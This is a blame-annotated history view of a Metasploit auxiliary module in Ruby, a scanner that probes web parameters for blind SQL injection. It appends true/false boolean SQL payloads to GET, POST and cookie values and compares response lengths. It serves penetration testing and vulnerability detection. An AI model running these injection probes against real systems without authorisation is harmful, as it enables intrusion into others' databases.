Files
metasploit-gs/modules/auxiliary/scanner/http/blind_sql_query.rb
T

329 lines
8.4 KiB
Ruby
Raw Normal View History

2009-12-30 22:24:22 +00:00
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
2009-12-30 22:24:22 +00:00
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WMAPScanUniqueQuery
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
2009-12-30 22:24:22 +00:00
'Name' => 'HTTP Blind SQL Injection GET QUERY Scanner',
'Description' => %q{
This module identifies the existence of Blind SQL injection issues
2009-12-30 22:24:22 +00:00
in GET Query parameters values.
2009-12-30 22:24:22 +00:00
},
'Author' => [ 'et [at] cyberspace.org' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$'))
2009-12-30 22:24:22 +00:00
register_options(
[
OptString.new('METHOD', [true, "HTTP Method","GET"]),
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
OptString.new('DATA', [ false, "HTTP Body Data", '']),
OptString.new('COOKIE',[ false, "HTTP Cookies", ''])
], self.class)
2009-12-30 22:24:22 +00:00
end
def run_host(ip)
2009-12-30 22:24:22 +00:00
gvars = nil
pvars = nil
cvars = nil
rnum=rand(10000)
2009-12-30 22:24:22 +00:00
valstr = [
[ 'numeric',
2009-12-30 22:24:22 +00:00
" AND #{rnum}=#{rnum} ",
" AND #{rnum}=#{rnum+1} "
],
[ 'single quotes',
2009-12-30 22:24:22 +00:00
"' AND '#{rnum}'='#{rnum}",
"' AND '#{rnum}'='#{rnum+1}"
],
[ 'double quotes',
2009-12-30 22:24:22 +00:00
"\" AND \"#{rnum}\"=\"#{rnum}",
"\" AND \"#{rnum}\"=\"#{rnum+1}"
]
]
#
# Dealing with empty query/data and making them hashes.
#
2009-12-30 22:24:22 +00:00
if !datastore['QUERY'] or datastore['QUERY'].empty?
datastore['QUERY'] = nil
gvars = nil
else
gvars = queryparse(datastore['QUERY']) #Now its a Hash
end
2009-12-30 22:24:22 +00:00
if !datastore['DATA'] or datastore['DATA'].empty?
datastore['DATA'] = nil
pvars = nil
else
pvars = queryparse(datastore['DATA'])
end
2009-12-30 22:24:22 +00:00
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
datastore['COOKIE'] = nil
cvars = nil
else
cvars = queryparse(datastore['COOKIE'])
end
#SEND NORMAL REQUEST
2009-12-30 22:24:22 +00:00
begin
normalres = send_request_cgi({
'uri' => datastore['PATH'],
'vars_get' => gvars,
'method' => datastore['METHOD'],
2009-12-30 22:24:22 +00:00
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
2009-12-30 22:24:22 +00:00
}, 20)
2009-12-30 22:24:22 +00:00
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2009-12-30 22:24:22 +00:00
end
2009-12-30 22:24:22 +00:00
sigtxt = ""
2009-12-30 22:24:22 +00:00
if normalres
if normalres.body.empty?
print_error("No body to obtain signature")
return
else
sigtxt = normalres.body
#print_status("#{sigtxt}")
2009-12-30 22:24:22 +00:00
end
else
print_error("No response")
return
end
#print_status("Normal request sent.")
2009-12-30 22:24:22 +00:00
valstr.each do |tarr|
2009-12-30 22:24:22 +00:00
#QUERY
if gvars
gvars.each do |key,value|
2009-12-30 22:24:22 +00:00
gvars = queryparse(datastore['QUERY']) #Now its a Hash
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
2009-12-30 22:24:22 +00:00
#SEND TRUE REQUEST
gvars[key] = gvars[key]+tarr[1]
2009-12-30 22:24:22 +00:00
begin
trueres = send_request_cgi({
'uri' => datastore['PATH'],
'vars_get' => gvars,
2009-12-30 22:24:22 +00:00
'method' => datastore['METHOD'],
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2009-12-30 22:24:22 +00:00
end
if normalres and trueres
#Very simple way to compare responses, this can be improved alot , at this time just the simple way
reltruesize = trueres.body.length-(trueres.body.scan(/#{tarr[1]}/).length*tarr[1].length)
2009-12-30 22:24:22 +00:00
normalsize = normalres.body.length
#print_status("nlen #{normalsize} reltlen #{reltruesize}")
if reltruesize == normalsize
2009-12-30 22:24:22 +00:00
#If true it means that we have a small better chance of this being a blind sql injection.
#SEND FALSE REQUEST
gvars[key] = gvars[key]+tarr[2]
2009-12-30 22:24:22 +00:00
begin
falseres = send_request_cgi({
'uri' => datastore['PATH'],
'vars_get' => gvars,
2009-12-30 22:24:22 +00:00
'method' => datastore['METHOD'],
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
if falseres
#Very simple way to compare responses, this can be improved alot , at this time just the simple way
relfalsesize = falseres.body.length-(falseres.body.scan(/#{tarr[2]}/).length*tarr[2].length)
#true_false_dist = edit_distance(falseres.body,trueres.body)
2009-12-30 22:24:22 +00:00
#print_status("rellenf #{relfalsesize}")
if reltruesize > relfalsesize
print_status("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
2009-12-30 22:24:22 +00:00
report_note(
:host => ip,
:proto => 'HTTP',
:port => rport,
:type => 'BLIND_SQL_INJECTION',
:data => "#{datastore['PATH']} Parameter: #{key} Type: #{tarr[0]}"
)
else
print_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
2009-12-30 22:24:22 +00:00
end
else
print_status("NO False Response.")
2009-12-30 22:24:22 +00:00
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2009-12-30 22:24:22 +00:00
end
else
print_status("Normal and True requests are different.")
end
else
print_status("No response.")
end
end
end
#DATA
2009-12-30 22:24:22 +00:00
if pvars
pvars.each do |key,value|
2009-12-30 22:24:22 +00:00
pvars = queryparse(datastore['DATA']) #Now its a Hash
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
2009-12-30 22:24:22 +00:00
#SEND TRUE REQUEST
pvars[key] = pvars[key]+tarr[1]
2009-12-30 22:24:22 +00:00
pvarstr = ""
pvars.each do |tkey,tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey+'='+tvalue
end
2009-12-30 22:24:22 +00:00
begin
trueres = send_request_cgi({
'uri' => datastore['PATH'],
'vars_get' => gvars,
2009-12-30 22:24:22 +00:00
'method' => datastore['METHOD'],
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2009-12-30 22:24:22 +00:00
end
if normalres and trueres
#Very simple way to compare responses, this can be improved alot , at this time just the simple way
reltruesize = trueres.body.length-(trueres.body.scan(/#{tarr[1]}/).length*tarr[1].length)
2009-12-30 22:24:22 +00:00
normalsize = normalres.body.length
#print_status("nlen #{normalsize} reltlen #{reltruesize}")
if reltruesize == normalsize
2009-12-30 22:24:22 +00:00
#If true it means that we have a small better chance of this being a blind sql injection.
#SEND FALSE REQUEST
pvars[key] = pvars[key]+tarr[2]
2009-12-30 22:24:22 +00:00
pvarstr = ""
pvars.each do |tkey,tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey+'='+tvalue
end
2009-12-30 22:24:22 +00:00
begin
falseres = send_request_cgi({
'uri' => datastore['PATH'],
'vars_get' => gvars,
2009-12-30 22:24:22 +00:00
'method' => datastore['METHOD'],
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
if falseres
#Very simple way to compare responses, this can be improved alot , at this time just the simple way
relfalsesize = falseres.body.length-(falseres.body.scan(/#{tarr[2]}/).length*tarr[2].length)
#true_false_dist = edit_distance(falseres.body,trueres.body)
#print_status("rellenf #{relfalsesize}")
2009-12-30 22:24:22 +00:00
if reltruesize > relfalsesize
print_status("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
2009-12-30 22:24:22 +00:00
report_note(
:host => ip,
:proto => 'HTTP',
:port => rport,
:type => 'BLIND_SQL_INJECTION',
:data => "#{datastore['PATH']} Parameter: #{key} Type: #{tarr[0]}"
)
else
print_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
2009-12-30 22:24:22 +00:00
end
else
print_status("NO False Response.")
2009-12-30 22:24:22 +00:00
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
2009-12-30 22:24:22 +00:00
end
else
print_status("Normal and True requests are different.")
end
else
print_status("No response.")
end
end
end
end
2009-12-30 22:24:22 +00:00
end
end